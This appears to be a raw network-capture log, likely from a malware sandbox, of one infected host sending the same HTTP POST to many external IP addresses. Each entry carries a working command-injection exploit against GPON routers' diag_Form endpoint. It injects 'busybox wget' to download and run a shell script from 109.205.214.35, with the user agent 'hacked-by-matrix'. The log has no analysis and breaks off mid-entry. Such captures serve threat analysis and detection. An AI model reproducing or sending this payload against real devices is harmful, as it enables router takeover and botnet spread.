Mar 21, 2024 05:23:33.824935913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1885	192.168.2.13	57858	5.64.152.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824966908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1886	192.168.2.13	48694	109.182.54.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824973106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1887	192.168.2.13	42738	109.192.150.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824987888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1888	192.168.2.13	37250	5.13.45.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825002909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1889	192.168.2.13	43790	42.233.106.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825083971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1890	192.168.2.13	34358	109.17.70.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825115919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1891	192.168.2.13	41502	212.207.85.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825122118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1892	192.168.2.13	42562	118.230.208.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825212002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1893	192.168.2.13	54542	5.125.167.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825217009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1894	192.168.2.13	37498	212.31.240.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825251102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1895	192.168.2.13	51478	5.114.118.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825251102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1896	192.168.2.13	56168	109.28.133.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825289011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1897	192.168.2.13	54672	109.10.214.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825294018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1898	192.168.2.13	34672	5.54.201.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825335979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1899	192.168.2.13	35664	118.132.209.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825359106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1900	192.168.2.13	52484	5.33.70.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825387001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1901	192.168.2.13	58098	42.42.103.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825442076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1902	192.168.2.13	52994	212.181.248.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825443983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1903	192.168.2.13	53450	42.154.223.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825455904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1904	192.168.2.13	38156	118.125.114.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825479031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1905	192.168.2.13	33682	118.234.81.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825505018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1906	192.168.2.13	55554	5.213.59.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825551987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1907	192.168.2.13	53394	118.190.121.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825575113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1908	192.168.2.13	36120	118.214.4.243	443

Timestamp	Bytes transferred	Direction	Data
